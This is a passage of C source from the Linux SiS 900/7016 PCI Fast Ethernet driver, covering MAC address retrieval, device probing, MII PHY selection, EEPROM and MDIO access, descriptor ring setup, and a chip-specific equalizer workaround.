unsigned int tx_full; /* The Tx queue is full. */ u8 host_bridge_rev; u8 chipset_rev; }; MODULE_AUTHOR("Jim Huang <[email protected]>, Ollie Lho <[email protected]>"); MODULE_DESCRIPTION("SiS 900 PCI Fast Ethernet driver"); MODULE_LICENSE("GPL"); module_param(multicast_filter_limit, int, 0444); module_param(max_interrupt_work, int, 0444); module_param(sis900_debug, int, 0444); MODULE_PARM_DESC(multicast_filter_limit, "SiS 900/7016 maximum number of filtered multicast addresses"); MODULE_PARM_DESC(max_interrupt_work, "SiS 900/7016 maximum events handled per interrupt"); MODULE_PARM_DESC(sis900_debug, "SiS 900/7016 bitmapped debugging message level"); #ifdef CONFIG_NET_POLL_CONTROLLER static void sis900_poll(struct net_device *dev); #endif static int sis900_open(struct net_device *net_dev); static int sis900_mii_probe (struct net_device * net_dev); static void sis900_init_rxfilter (struct net_device * net_dev); static u16 read_eeprom(long ioaddr, int location); static int mdio_read(struct net_device *net_dev, int phy_id, int location); static void mdio_write(struct net_device *net_dev, int phy_id, int location, int val); static void sis900_timer(unsigned long data); static void sis900_check_mode (struct net_device *net_dev, struct mii_phy *mii_phy); static void sis900_tx_timeout(struct net_device *net_dev); static void sis900_init_tx_ring(struct net_device *net_dev); static void sis900_init_rx_ring(struct net_device *net_dev); static netdev_tx_t sis900_start_xmit(struct sk_buff *skb, struct net_device *net_dev); static int sis900_rx(struct net_device *net_dev); static void sis900_finish_xmit (struct net_device *net_dev); static irqreturn_t sis900_interrupt(int irq, void *dev_instance); static int sis900_close(struct net_device *net_dev); static int mii_ioctl(struct net_device *net_dev, struct ifreq *rq, int cmd); static u16 sis900_mcast_bitnr(u8 *addr, u8 revision); static void set_rx_mode(struct net_device *net_dev); static void sis900_reset(struct net_device *net_dev); static void sis630_set_eq(struct net_device *net_dev, u8 revision); static int sis900_set_config(struct net_device *dev, struct ifmap *map); static u16 sis900_default_phy(struct net_device * net_dev); static void sis900_set_capability( struct net_device *net_dev ,struct mii_phy *phy); static u16 sis900_reset_phy(struct net_device *net_dev, int phy_addr); static void sis900_auto_negotiate(struct net_device *net_dev, int phy_addr); static void sis900_set_mode (long ioaddr, int speed, int duplex); static const struct ethtool_ops sis900_ethtool_ops; /** * sis900_get_mac_addr - Get MAC address for stand alone SiS900 model * @pci_dev: the sis900 pci device * @net_dev: the net device to get address for * * Older SiS900 and friends, use EEPROM to store MAC address. * MAC address is read from read_eeprom() into @net_dev->dev_addr and * @net_dev->perm_addr. */ static int __devinit sis900_get_mac_addr(struct pci_dev * pci_dev, struct net_device *net_dev) { long ioaddr = pci_resource_start(pci_dev, 0); u16 signature; int i; /* check to see if we have sane EEPROM */ signature = (u16) read_eeprom(ioaddr, EEPROMSignature); if (signature == 0xffff || signature == 0x0000) { printk (KERN_WARNING "%s: Error EERPOM read %x\n", pci_name(pci_dev), signature); return 0; } /* get MAC address from EEPROM */ for (i = 0; i < 3; i++) ((u16 *)(net_dev->dev_addr))[i] = read_eeprom(ioaddr, i+EEPROMMACAddr); /* Store MAC Address in perm_addr */ memcpy(net_dev->perm_addr, net_dev->dev_addr, ETH_ALEN); return 1; } /** * sis630e_get_mac_addr - Get MAC address for SiS630E model * @pci_dev: the sis900 pci device * @net_dev: the net device to get address for * * SiS630E model, use APC CMOS RAM to store MAC address. * APC CMOS RAM is accessed through ISA bridge. * MAC address is read into @net_dev->dev_addr and * @net_dev->perm_addr. */ static int __devinit sis630e_get_mac_addr(struct pci_dev * pci_dev, struct net_device *net_dev) { struct pci_dev *isa_bridge = NULL; u8 reg; int i; isa_bridge = pci_get_device(PCI_VENDOR_ID_SI, 0x0008, isa_bridge); if (!isa_bridge) isa_bridge = pci_get_device(PCI_VENDOR_ID_SI, 0x0018, isa_bridge); if (!isa_bridge) { printk(KERN_WARNING "%s: Can not find ISA bridge\n", pci_name(pci_dev)); return 0; } pci_read_config_byte(isa_bridge, 0x48, &reg); pci_write_config_byte(isa_bridge, 0x48, reg | 0x40); for (i = 0; i < 6; i++) { outb(0x09 + i, 0x70); ((u8 *)(net_dev->dev_addr))[i] = inb(0x71); } /* Store MAC Address in perm_addr */ memcpy(net_dev->perm_addr, net_dev->dev_addr, ETH_ALEN); pci_write_config_byte(isa_bridge, 0x48, reg & ~0x40); pci_dev_put(isa_bridge); return 1; } /** * sis635_get_mac_addr - Get MAC address for SIS635 model * @pci_dev: the sis900 pci device * @net_dev: the net device to get address for * * SiS635 model, set MAC Reload Bit to load Mac address from APC * to rfdr. rfdr is accessed through rfcr. MAC address is read into * @net_dev->dev_addr and @net_dev->perm_addr. */ static int __devinit sis635_get_mac_addr(struct pci_dev * pci_dev, struct net_device *net_dev) { long ioaddr = net_dev->base_addr; u32 rfcrSave; u32 i; rfcrSave = inl(rfcr + ioaddr); outl(rfcrSave | RELOAD, ioaddr + cr); outl(0, ioaddr + cr); /* disable packet filtering before setting filter */ outl(rfcrSave & ~RFEN, rfcr + ioaddr); /* load MAC addr to filter data register */ for (i = 0 ; i < 3 ; i++) { outl((i << RFADDR_shift), ioaddr + rfcr); *( ((u16 *)net_dev->dev_addr) + i) = inw(ioaddr + rfdr); } /* Store MAC Address in perm_addr */ memcpy(net_dev->perm_addr, net_dev->dev_addr, ETH_ALEN); /* enable packet filtering */ outl(rfcrSave | RFEN, rfcr + ioaddr); return 1; } /** * sis96x_get_mac_addr - Get MAC address for SiS962 or SiS963 model * @pci_dev: the sis900 pci device * @net_dev: the net device to get address for * * SiS962 or SiS963 model, use EEPROM to store MAC address. And EEPROM * is shared by * LAN and 1394. When access EEPROM, send EEREQ signal to hardware first * and wait for EEGNT. If EEGNT is ON, EEPROM is permitted to be access * by LAN, otherwise is not. After MAC address is read from EEPROM, send * EEDONE signal to refuse EEPROM access by LAN. * The EEPROM map of SiS962 or SiS963 is different to SiS900. * The signature field in SiS962 or SiS963 spec is meaningless. * MAC address is read into @net_dev->dev_addr and @net_dev->perm_addr. */ static int __devinit sis96x_get_mac_addr(struct pci_dev * pci_dev, struct net_device *net_dev) { long ioaddr = net_dev->base_addr; long ee_addr = ioaddr + mear; u32 waittime = 0; int i; outl(EEREQ, ee_addr); while(waittime < 2000) { if(inl(ee_addr) & EEGNT) { /* get MAC address from EEPROM */ for (i = 0; i < 3; i++) ((u16 *)(net_dev->dev_addr))[i] = read_eeprom(ioaddr, i+EEPROMMACAddr); /* Store MAC Address in perm_addr */ memcpy(net_dev->perm_addr, net_dev->dev_addr, ETH_ALEN); outl(EEDONE, ee_addr); return 1; } else { udelay(1); waittime ++; } } outl(EEDONE, ee_addr); return 0; } static const struct net_device_ops sis900_netdev_ops = { .ndo_open = sis900_open, .ndo_stop = sis900_close, .ndo_start_xmit = sis900_start_xmit, .ndo_set_config = sis900_set_config, .ndo_set_multicast_list = set_rx_mode, .ndo_change_mtu = eth_change_mtu, .ndo_validate_addr = eth_validate_addr, .ndo_set_mac_address = eth_mac_addr, .ndo_do_ioctl = mii_ioctl, .ndo_tx_timeout = sis900_tx_timeout, #ifdef CONFIG_NET_POLL_CONTROLLER .ndo_poll_controller = sis900_poll, #endif }; /** * sis900_probe - Probe for sis900 device * @pci_dev: the sis900 pci device * @pci_id: the pci device ID * * Check and probe sis900 net device for @pci_dev. * Get mac address according to the chip revision, * and assign SiS900-specific entries in the device structure. * ie: sis900_open(), sis900_start_xmit(), sis900_close(), etc. */ static int __devinit sis900_probe(struct pci_dev *pci_dev, const struct pci_device_id *pci_id) { struct sis900_private *sis_priv; struct net_device *net_dev; struct pci_dev *dev; dma_addr_t ring_dma; void *ring_space; long ioaddr; int i, ret; const char *card_name = card_names[pci_id->driver_data]; const char *dev_name = pci_name(pci_dev); /* when built into the kernel, we only print version if device is found */ #ifndef MODULE static int printed_version; if (!printed_version++) printk(version); #endif /* setup various bits in PCI command register */ ret = pci_enable_device(pci_dev); if(ret) return ret; i = pci_set_dma_mask(pci_dev, DMA_BIT_MASK(32)); if(i){ printk(KERN_ERR "sis900.c: architecture does not support " "32bit PCI busmaster DMA\n"); return i; } pci_set_master(pci_dev); net_dev = alloc_etherdev(sizeof(struct sis900_private)); if (!net_dev) return -ENOMEM; SET_NETDEV_DEV(net_dev, &pci_dev->dev); /* We do a request_region() to register /proc/ioports info. */ ioaddr = pci_resource_start(pci_dev, 0); ret = pci_request_regions(pci_dev, "sis900"); if (ret) goto err_out; sis_priv = netdev_priv(net_dev); net_dev->base_addr = ioaddr; net_dev->irq = pci_dev->irq; sis_priv->pci_dev = pci_dev; spin_lock_init(&sis_priv->lock); pci_set_drvdata(pci_dev, net_dev); ring_space = pci_alloc_consistent(pci_dev, TX_TOTAL_SIZE, &ring_dma); if (!ring_space) { ret = -ENOMEM; goto err_out_cleardev; } sis_priv->tx_ring = (BufferDesc *)ring_space; sis_priv->tx_ring_dma = ring_dma; ring_space = pci_alloc_consistent(pci_dev, RX_TOTAL_SIZE, &ring_dma); if (!ring_space) { ret = -ENOMEM; goto err_unmap_tx; } sis_priv->rx_ring = (BufferDesc *)ring_space; sis_priv->rx_ring_dma = ring_dma; /* The SiS900-specific entries in the device structure. */ net_dev->netdev_ops = &sis900_netdev_ops; net_dev->watchdog_timeo = TX_TIMEOUT; net_dev->ethtool_ops = &sis900_ethtool_ops; if (sis900_debug > 0) sis_priv->msg_enable = sis900_debug; else sis_priv->msg_enable = SIS900_DEF_MSG; sis_priv->mii_info.dev = net_dev; sis_priv->mii_info.mdio_read = mdio_read; sis_priv->mii_info.mdio_write = mdio_write; sis_priv->mii_info.phy_id_mask = 0x1f; sis_priv->mii_info.reg_num_mask = 0x1f; /* Get Mac address according to the chip revision */ sis_priv->chipset_rev = pci_dev->revision; if(netif_msg_probe(sis_priv)) printk(KERN_DEBUG "%s: detected revision %2.2x, " "trying to get MAC address...\n", dev_name, sis_priv->chipset_rev); ret = 0; if (sis_priv->chipset_rev == SIS630E_900_REV) ret = sis630e_get_mac_addr(pci_dev, net_dev); else if ((sis_priv->chipset_rev > 0x81) && (sis_priv->chipset_rev <= 0x90) ) ret = sis635_get_mac_addr(pci_dev, net_dev); else if (sis_priv->chipset_rev == SIS96x_900_REV) ret = sis96x_get_mac_addr(pci_dev, net_dev); else ret = sis900_get_mac_addr(pci_dev, net_dev); if (!ret || !is_valid_ether_addr(net_dev->dev_addr)) { random_ether_addr(net_dev->dev_addr); printk(KERN_WARNING "%s: Unreadable or invalid MAC address," "using random generated one\n", dev_name); } /* 630ET : set the mii access mode as software-mode */ if (sis_priv->chipset_rev == SIS630ET_900_REV) outl(ACCESSMODE | inl(ioaddr + cr), ioaddr + cr); /* probe for mii transceiver */ if (sis900_mii_probe(net_dev) == 0) { printk(KERN_WARNING "%s: Error probing MII device.\n", dev_name); ret = -ENODEV; goto err_unmap_rx; } /* save our host bridge revision */ dev = pci_get_device(PCI_VENDOR_ID_SI, PCI_DEVICE_ID_SI_630, NULL); if (dev) { sis_priv->host_bridge_rev = dev->revision; pci_dev_put(dev); } ret = register_netdev(net_dev); if (ret) goto err_unmap_rx; /* print some information about our NIC */ printk(KERN_INFO "%s: %s at %#lx, IRQ %d, %pM\n", net_dev->name, card_name, ioaddr, net_dev->irq, net_dev->dev_addr); /* Detect Wake on Lan support */ ret = (inl(net_dev->base_addr + CFGPMC) & PMESP) >> 27; if (netif_msg_probe(sis_priv) && (ret & PME_D3C) == 0) printk(KERN_INFO "%s: Wake on LAN only available from suspend to RAM.", net_dev->name); return 0; err_unmap_rx: pci_free_consistent(pci_dev, RX_TOTAL_SIZE, sis_priv->rx_ring, sis_priv->rx_ring_dma); err_unmap_tx: pci_free_consistent(pci_dev, TX_TOTAL_SIZE, sis_priv->tx_ring, sis_priv->tx_ring_dma); err_out_cleardev: pci_set_drvdata(pci_dev, NULL); pci_release_regions(pci_dev); err_out: free_netdev(net_dev); return ret; } /** * sis900_mii_probe - Probe MII PHY for sis900 * @net_dev: the net device to probe for * * Search for total of 32 possible mii phy addresses. * Identify and set current phy if found one, * return error if it failed to found. */ static int __devinit sis900_mii_probe(struct net_device * net_dev) { struct sis900_private *sis_priv = netdev_priv(net_dev); const char *dev_name = pci_name(sis_priv->pci_dev); u16 poll_bit = MII_STAT_LINK, status = 0; unsigned long timeout = jiffies + 5 * HZ; int phy_addr; sis_priv->mii = NULL; /* search for total of 32 possible mii phy addresses */ for (phy_addr = 0; phy_addr < 32; phy_addr++) { struct mii_phy * mii_phy = NULL; u16 mii_status; int i; mii_phy = NULL; for(i = 0; i < 2; i++) mii_status = mdio_read(net_dev, phy_addr, MII_STATUS); if (mii_status == 0xffff || mii_status == 0x0000) { if (netif_msg_probe(sis_priv)) printk(KERN_DEBUG "%s: MII at address %d" " not accessible\n", dev_name, phy_addr); continue; } if ((mii_phy = kmalloc(sizeof(struct mii_phy), GFP_KERNEL)) == NULL) { printk(KERN_WARNING "Cannot allocate mem for struct mii_phy\n"); mii_phy = sis_priv->first_mii; while (mii_phy) { struct mii_phy *phy; phy = mii_phy; mii_phy = mii_phy->next; kfree(phy); } return 0; } mii_phy->phy_id0 = mdio_read(net_dev, phy_addr, MII_PHY_ID0); mii_phy->phy_id1 = mdio_read(net_dev, phy_addr, MII_PHY_ID1); mii_phy->phy_addr = phy_addr; mii_phy->status = mii_status; mii_phy->next = sis_priv->mii; sis_priv->mii = mii_phy; sis_priv->first_mii = mii_phy; for (i = 0; mii_chip_table[i].phy_id1; i++) if ((mii_phy->phy_id0 == mii_chip_table[i].phy_id0 ) && ((mii_phy->phy_id1 & 0xFFF0) == mii_chip_table[i].phy_id1)){ mii_phy->phy_types = mii_chip_table[i].phy_types; if (mii_chip_table[i].phy_types == MIX) mii_phy->phy_types = (mii_status & (MII_STAT_CAN_TX_FDX | MII_STAT_CAN_TX)) ? LAN : HOME; printk(KERN_INFO "%s: %s transceiver found " "at address %d.\n", dev_name, mii_chip_table[i].name, phy_addr); break; } if( !mii_chip_table[i].phy_id1 ) { printk(KERN_INFO "%s: Unknown PHY transceiver found at address %d.\n", dev_name, phy_addr); mii_phy->phy_types = UNKNOWN; } } if (sis_priv->mii == NULL) { printk(KERN_INFO "%s: No MII transceivers found!\n", dev_name); return 0; } /* select default PHY for mac */ sis_priv->mii = NULL; sis900_default_phy( net_dev ); /* Reset phy if default phy is internal sis900 */ if ((sis_priv->mii->phy_id0 == 0x001D) && ((sis_priv->mii->phy_id1&0xFFF0) == 0x8000)) status = sis900_reset_phy(net_dev, sis_priv->cur_phy); /* workaround for ICS1893 PHY */ if ((sis_priv->mii->phy_id0 == 0x0015) && ((sis_priv->mii->phy_id1&0xFFF0) == 0xF440)) mdio_write(net_dev, sis_priv->cur_phy, 0x0018, 0xD200); if(status & MII_STAT_LINK){ while (poll_bit) { yield(); poll_bit ^= (mdio_read(net_dev, sis_priv->cur_phy, MII_STATUS) & poll_bit); if (time_after_eq(jiffies, timeout)) { printk(KERN_WARNING "%s: reset phy and link down now\n", dev_name); return -ETIME; } } } if (sis_priv->chipset_rev == SIS630E_900_REV) { /* SiS 630E has some bugs on default value of PHY registers */ mdio_write(net_dev, sis_priv->cur_phy, MII_ANADV, 0x05e1); mdio_write(net_dev, sis_priv->cur_phy, MII_CONFIG1, 0x22); mdio_write(net_dev, sis_priv->cur_phy, MII_CONFIG2, 0xff00); mdio_write(net_dev, sis_priv->cur_phy, MII_MASK, 0xffc0); //mdio_write(net_dev, sis_priv->cur_phy, MII_CONTROL, 0x1000); } if (sis_priv->mii->status & MII_STAT_LINK) netif_carrier_on(net_dev); else netif_carrier_off(net_dev); return 1; } /** * sis900_default_phy - Select default PHY for sis900 mac. * @net_dev: the net device to probe for * * Select first detected PHY with link as default. * If no one is link on, select PHY whose types is HOME as default. * If HOME doesn't exist, select LAN. */ static u16 sis900_default_phy(struct net_device * net_dev) { struct sis900_private *sis_priv = netdev_priv(net_dev); struct mii_phy *phy = NULL, *phy_home = NULL, *default_phy = NULL, *phy_lan = NULL; u16 status; for (phy=sis_priv->first_mii; phy; phy=phy->next) { status = mdio_read(net_dev, phy->phy_addr, MII_STATUS); status = mdio_read(net_dev, phy->phy_addr, MII_STATUS); /* Link ON & Not select default PHY & not ghost PHY */ if ((status & MII_STAT_LINK) && !default_phy && (phy->phy_types != UNKNOWN)) default_phy = phy; else { status = mdio_read(net_dev, phy->phy_addr, MII_CONTROL); mdio_write(net_dev, phy->phy_addr, MII_CONTROL, status | MII_CNTL_AUTO | MII_CNTL_ISOLATE); if (phy->phy_types == HOME) phy_home = phy; else if(phy->phy_types == LAN) phy_lan = phy; } } if (!default_phy && phy_home) default_phy = phy_home; else if (!default_phy && phy_lan) default_phy = phy_lan; else if (!default_phy) default_phy = sis_priv->first_mii; if (sis_priv->mii != default_phy) { sis_priv->mii = default_phy; sis_priv->cur_phy = default_phy->phy_addr; printk(KERN_INFO "%s: Using transceiver found at address %d as default\n", pci_name(sis_priv->pci_dev), sis_priv->cur_phy); } sis_priv->mii_info.phy_id = sis_priv->cur_phy; status = mdio_read(net_dev, sis_priv->cur_phy, MII_CONTROL); status &= (~MII_CNTL_ISOLATE); mdio_write(net_dev, sis_priv->cur_phy, MII_CONTROL, status); status = mdio_read(net_dev, sis_priv->cur_phy, MII_STATUS); status = mdio_read(net_dev, sis_priv->cur_phy, MII_STATUS); return status; } /** * sis900_set_capability - set the media capability of network adapter. * @net_dev : the net device to probe for * @phy : default PHY * * Set the media capability of network adapter according to * mii status register. It's necessary before auto-negotiate. */ static void sis900_set_capability(struct net_device *net_dev, struct mii_phy *phy) { u16 cap; u16 status; status = mdio_read(net_dev, phy->phy_addr, MII_STATUS); status = mdio_read(net_dev, phy->phy_addr, MII_STATUS); cap = MII_NWAY_CSMA_CD | ((phy->status & MII_STAT_CAN_TX_FDX)? MII_NWAY_TX_FDX:0) | ((phy->status & MII_STAT_CAN_TX) ? MII_NWAY_TX:0) | ((phy->status & MII_STAT_CAN_T_FDX) ? MII_NWAY_T_FDX:0)| ((phy->status & MII_STAT_CAN_T) ? MII_NWAY_T:0); mdio_write(net_dev, phy->phy_addr, MII_ANADV, cap); } /* Delay between EEPROM clock transitions. */ #define eeprom_delay() inl(ee_addr) /** * read_eeprom - Read Serial EEPROM * @ioaddr: base i/o address * @location: the EEPROM location to read * * Read Serial EEPROM through EEPROM Access Register. * Note that location is in word (16 bits) unit */ static u16 __devinit read_eeprom(long ioaddr, int location) { int i; u16 retval = 0; long ee_addr = ioaddr + mear; u32 read_cmd = location | EEread; outl(0, ee_addr); eeprom_delay(); outl(EECS, ee_addr); eeprom_delay(); /* Shift the read command (9) bits out. */ for (i = 8; i >= 0; i--) { u32 dataval = (read_cmd & (1 << i)) ? EEDI | EECS : EECS; outl(dataval, ee_addr); eeprom_delay(); outl(dataval | EECLK, ee_addr); eeprom_delay(); } outl(EECS, ee_addr); eeprom_delay(); /* read the 16-bits data in */ for (i = 16; i > 0; i--) { outl(EECS, ee_addr); eeprom_delay(); outl(EECS | EECLK, ee_addr); eeprom_delay(); retval = (retval << 1) | ((inl(ee_addr) & EEDO) ? 1 : 0); eeprom_delay(); } /* Terminate the EEPROM access. */ outl(0, ee_addr); eeprom_delay(); return retval; } /* Read and write the MII management registers using software-generated serial MDIO protocol. Note that the command bits and data bits are send out separately */ #define mdio_delay() inl(mdio_addr) static void mdio_idle(long mdio_addr) { outl(MDIO | MDDIR, mdio_addr); mdio_delay(); outl(MDIO | MDDIR | MDC, mdio_addr); } /* Syncronize the MII management interface by shifting 32 one bits out. */ static void mdio_reset(long mdio_addr) { int i; for (i = 31; i >= 0; i--) { outl(MDDIR | MDIO, mdio_addr); mdio_delay(); outl(MDDIR | MDIO | MDC, mdio_addr); mdio_delay(); } } /** * mdio_read - read MII PHY register * @net_dev: the net device to read * @phy_id: the phy address to read * @location: the phy regiester id to read * * Read MII registers through MDIO and MDC * using MDIO management frame structure and protocol(defined by ISO/IEC). * Please see SiS7014 or ICS spec */ static int mdio_read(struct net_device *net_dev, int phy_id, int location) { long mdio_addr = net_dev->base_addr + mear; int mii_cmd = MIIread|(phy_id<<MIIpmdShift)|(location<<MIIregShift); u16 retval = 0; int i; mdio_reset(mdio_addr); mdio_idle(mdio_addr); for (i = 15; i >= 0; i--) { int dataval = (mii_cmd & (1 << i)) ? MDDIR | MDIO : MDDIR; outl(dataval, mdio_addr); mdio_delay(); outl(dataval | MDC, mdio_addr); mdio_delay(); } /* Read the 16 data bits. */ for (i = 16; i > 0; i--) { outl(0, mdio_addr); mdio_delay(); retval = (retval << 1) | ((inl(mdio_addr) & MDIO) ? 1 : 0); outl(MDC, mdio_addr); mdio_delay(); } outl(0x00, mdio_addr); return retval; } /** * mdio_write - write MII PHY register * @net_dev: the net device to write * @phy_id: the phy address to write * @location: the phy regiester id to write * @value: the register value to write with * * Write MII registers with @value through MDIO and MDC * using MDIO management frame structure and protocol(defined by ISO/IEC) * please see SiS7014 or ICS spec */ static void mdio_write(struct net_device *net_dev, int phy_id, int location, int value) { long mdio_addr = net_dev->base_addr + mear; int mii_cmd = MIIwrite|(phy_id<<MIIpmdShift)|(location<<MIIregShift); int i; mdio_reset(mdio_addr); mdio_idle(mdio_addr); /* Shift the command bits out. */ for (i = 15; i >= 0; i--) { int dataval = (mii_cmd & (1 << i)) ? MDDIR | MDIO : MDDIR; outb(dataval, mdio_addr); mdio_delay(); outb(dataval | MDC, mdio_addr); mdio_delay(); } mdio_delay(); /* Shift the value bits out. */ for (i = 15; i >= 0; i--) { int dataval = (value & (1 << i)) ? MDDIR | MDIO : MDDIR; outl(dataval, mdio_addr); mdio_delay(); outl(dataval | MDC, mdio_addr); mdio_delay(); } mdio_delay(); /* Clear out extra bits. */ for (i = 2; i > 0; i--) { outb(0, mdio_addr); mdio_delay(); outb(MDC, mdio_addr); mdio_delay(); } outl(0x00, mdio_addr); } /** * sis900_reset_phy - reset sis900 mii phy. * @net_dev: the net device to write * @phy_addr: default phy address * * Some specific phy can't work properly without reset. * This function will be called during initialization and * link status change from ON to DOWN. */ static u16 sis900_reset_phy(struct net_device *net_dev, int phy_addr) { int i; u16 status; for (i = 0; i < 2; i++) status = mdio_read(net_dev, phy_addr, MII_STATUS); mdio_write( net_dev, phy_addr, MII_CONTROL, MII_CNTL_RESET ); return status; } #ifdef CONFIG_NET_POLL_CONTROLLER /* * Polling 'interrupt' - used by things like netconsole to send skbs * without having to re-enable interrupts. It's not called while * the interrupt routine is executing. */ static void sis900_poll(struct net_device *dev) { disable_irq(dev->irq); sis900_interrupt(dev->irq, dev); enable_irq(dev->irq); } #endif /** * sis900_open - open sis900 device * @net_dev: the net device to open * * Do some initialization and start net interface. * enable interrupts and set sis900 timer. */ static int sis900_open(struct net_device *net_dev) { struct sis900_private *sis_priv = netdev_priv(net_dev); long ioaddr = net_dev->base_addr; int ret; /* Soft reset the chip. */ sis900_reset(net_dev); /* Equalizer workaround Rule */ sis630_set_eq(net_dev, sis_priv->chipset_rev); ret = request_irq(net_dev->irq, sis900_interrupt, IRQF_SHARED, net_dev->name, net_dev); if (ret) return ret; sis900_init_rxfilter(net_dev); sis900_init_tx_ring(net_dev); sis900_init_rx_ring(net_dev); set_rx_mode(net_dev); netif_start_queue(net_dev); /* Workaround for EDB */ sis900_set_mode(ioaddr, HW_SPEED_10_MBPS, FDX_CAPABLE_HALF_SELECTED); /* Enable all known interrupts by setting the interrupt mask. */ outl((RxSOVR|RxORN|RxERR|RxOK|TxURN|TxERR|TxIDLE), ioaddr + imr); outl(RxENA | inl(ioaddr + cr), ioaddr + cr); outl(IE, ioaddr + ier); sis900_check_mode(net_dev, sis_priv->mii); /* Set the timer to switch to check for link beat and perhaps switch to an alternate media type. */ init_timer(&sis_priv->timer); sis_priv->timer.expires = jiffies + HZ; sis_priv->timer.data = (unsigned long)net_dev; sis_priv->timer.function = sis900_timer; add_timer(&sis_priv->timer); return 0; } /** * sis900_init_rxfilter - Initialize the Rx filter * @net_dev: the net device to initialize for * * Set receive filter address to our MAC address * and enable packet filtering. */ static void sis900_init_rxfilter (struct net_device * net_dev) { struct sis900_private *sis_priv = netdev_priv(net_dev); long ioaddr = net_dev->base_addr; u32 rfcrSave; u32 i; rfcrSave = inl(rfcr + ioaddr); /* disable packet filtering before setting filter */ outl(rfcrSave & ~RFEN, rfcr + ioaddr); /* load MAC addr to filter data register */ for (i = 0 ; i < 3 ; i++) { u32 w; w = (u32) *((u16 *)(net_dev->dev_addr)+i); outl((i << RFADDR_shift), ioaddr + rfcr); outl(w, ioaddr + rfdr); if (netif_msg_hw(sis_priv)) { printk(KERN_DEBUG "%s: Receive Filter Addrss[%d]=%x\n", net_dev->name, i, inl(ioaddr + rfdr)); } } /* enable packet filtering */ outl(rfcrSave | RFEN, rfcr + ioaddr); } /** * sis900_init_tx_ring - Initialize the Tx descriptor ring * @net_dev: the net device to initialize for * * Initialize the Tx descriptor ring, */ static void sis900_init_tx_ring(struct net_device *net_dev) { struct sis900_private *sis_priv = netdev_priv(net_dev); long ioaddr = net_dev->base_addr; int i; sis_priv->tx_full = 0; sis_priv->dirty_tx = sis_priv->cur_tx = 0; for (i = 0; i < NUM_TX_DESC; i++) { sis_priv->tx_skbuff[i] = NULL; sis_priv->tx_ring[i].link = sis_priv->tx_ring_dma + ((i+1)%NUM_TX_DESC)*sizeof(BufferDesc); sis_priv->tx_ring[i].cmdsts = 0; sis_priv->tx_ring[i].bufptr = 0; } /* load Transmit Descriptor Register */ outl(sis_priv->tx_ring_dma, ioaddr + txdp); if (netif_msg_hw(sis_priv)) printk(KERN_DEBUG "%s: TX descriptor register loaded with: %8.8x\n", net_dev->name, inl(ioaddr + txdp)); } /** * sis900_init_rx_ring - Initialize the Rx descriptor ring * @net_dev: the net device to initialize for * * Initialize the Rx descriptor ring, * and pre-allocate recevie buffers (socket buffer) */ static void sis900_init_rx_ring(struct net_device *net_dev) { struct sis900_private *sis_priv = netdev_priv(net_dev); long ioaddr = net_dev->base_addr; int i; sis_priv->cur_rx = 0; sis_priv->dirty_rx = 0; /* init RX descriptor */ for (i = 0; i < NUM_RX_DESC; i++) { sis_priv->rx_skbuff[i] = NULL; sis_priv->rx_ring[i].link = sis_priv->rx_ring_dma + ((i+1)%NUM_RX_DESC)*sizeof(BufferDesc); sis_priv->rx_ring[i].cmdsts = 0; sis_priv->rx_ring[i].bufptr = 0; } /* allocate sock buffers */ for (i = 0; i < NUM_RX_DESC; i++) { struct sk_buff *skb; if ((skb = dev_alloc_skb(RX_BUF_SIZE)) == NULL) { /* not enough memory for skbuff, this makes a "hole" on the buffer ring, it is not clear how the hardware will react to this kind of degenerated buffer */ break; } sis_priv->rx_skbuff[i] = skb; sis_priv->rx_ring[i].cmdsts = RX_BUF_SIZE; sis_priv->rx_ring[i].bufptr = pci_map_single(sis_priv->pci_dev, skb->data, RX_BUF_SIZE, PCI_DMA_FROMDEVICE); } sis_priv->dirty_rx = (unsigned int) (i - NUM_RX_DESC); /* load Receive Descriptor Register */ outl(sis_priv->rx_ring_dma, ioaddr + rxdp); if (netif_msg_hw(sis_priv)) printk(KERN_DEBUG "%s: RX descriptor register loaded with: %8.8x\n", net_dev->name, inl(ioaddr + rxdp)); } /** * sis630_set_eq - set phy equalizer value for 630 LAN * @net_dev: the net device to set equalizer value * @revision: 630 LAN revision number * * 630E equalizer workaround rule(Cyrus Huang 08/15) * PHY register 14h(Test) * Bit 14: 0 -- Automatically detect (default) * 1 -- Manually set Equalizer filter * Bit 13: 0 -- (Default) * 1 -- Speed up convergence of equalizer setting * Bit 9 : 0 -- (Default) * 1 -- Disable Baseline Wander * Bit 3~7 -- Equalizer filter setting * Link ON: Set Bit 9, 13 to 1, Bit 14 to 0 * Then calculate equalizer value * Then set equalizer value, and set Bit 14 to 1, Bit 9 to 0 * Link Off:Set Bit 13 to 1, Bit 14 to 0 * Calculate Equalizer value: * When Link is ON and Bit 14 is 0, SIS900PHY will auto-detect proper equalizer value. * When the equalizer is stable, this value is not a fixed value. It will be within * a small range(eg. 7~9). Then we get a minimum and a maximum value(eg. min=7, max=9) * 0 <= max <= 4 --> set equalizer to max * 5 <= max <= 14 --> set equalizer to max+1 or set equalizer to max+2 if max == min * max >= 15 --> set equalizer to max+5 or set equalizer to max+6 if max == min */ static void sis630_set_eq(struct net_device *net_dev, u8 revision) { struct sis900_private *sis_priv = netdev_priv(net_dev); u16 reg14h, eq_value=0, max_value=0, min_value=0; int i, maxcount=10; if ( !(revision == SIS630E_900_REV || revision == SIS630EA1_900_REV || revision == SIS630A_900_REV || revision == SIS630ET_900_REV) ) return; if (netif_carrier_ok(net_dev)) { reg14h = mdio_read(net_dev, sis_priv->cur_phy, MII_RESV); mdio_write(net_dev, sis_priv->cur_phy, MII_RESV, (0x2200 | reg14h) & 0xBFFF); for (i=0; i < maxcount; i++) { eq_value = (0x00F8 & mdio_read(net_dev, sis_priv->cur_phy, MII_RESV)) >> 3; if (i == 0) max_value=min_value=eq_value; max_value = (eq_value > max_value) ? eq_value : max_value; min_value = (eq_value < min_value) ? eq_value : min_value; } /* 630E rule to determine the equalizer value */ if (revision == SIS630E_900_REV || revision == SIS630EA1_900_REV || revision == SIS630ET_900_REV) { if (max_value < 5) eq_value = max_value; else if (max_value >= 5 && max_value < 15) eq_value = (max_value == min_value) ? max_value+2 : max_value+1; else if (max_value >= 15) eq_value=(max_value == min_value) ? max_value+6 : max_value+5; } /* 630B0&B1 rule to determine the equalizer value */ if (revision == SIS630A_900_REV && (sis_priv->host_bridge_rev == SIS630B0 || sis_priv->host_bridge_rev == SIS630B1)) { if (max_value == 0) eq_value = 3; else eq_value = (max_value + min_value + 1)/2; } /* write equalizer value and setting */ reg14h = mdio_read(net_dev, sis_priv->cur_phy, MII_RESV); reg14h = (reg14h & 0xFF07) | ((eq_value << 3) & 0x00F8); reg14h = (reg14h | 0x6000) & 